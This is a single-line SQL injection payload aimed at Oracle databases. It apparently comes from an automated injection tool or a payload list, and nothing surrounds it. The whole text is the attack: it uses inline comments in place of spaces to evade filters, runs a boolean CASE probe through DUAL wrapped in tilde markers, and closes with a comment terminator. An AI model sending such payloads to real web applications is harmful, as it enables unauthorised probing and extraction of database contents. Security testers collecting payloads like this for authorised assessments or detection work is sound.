1'AND/**/8321=(SELECT/**/UPPER(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(8321=8321)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(6123,3040)=9707)-- -